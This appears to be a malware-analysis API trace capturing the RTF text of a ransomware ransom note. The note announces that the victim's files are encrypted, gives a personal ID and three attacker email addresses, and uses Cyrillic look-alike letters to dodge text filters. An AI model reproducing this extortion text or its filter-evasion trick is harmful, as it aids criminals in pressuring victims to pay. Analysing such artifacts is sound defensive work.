\\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c5dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir 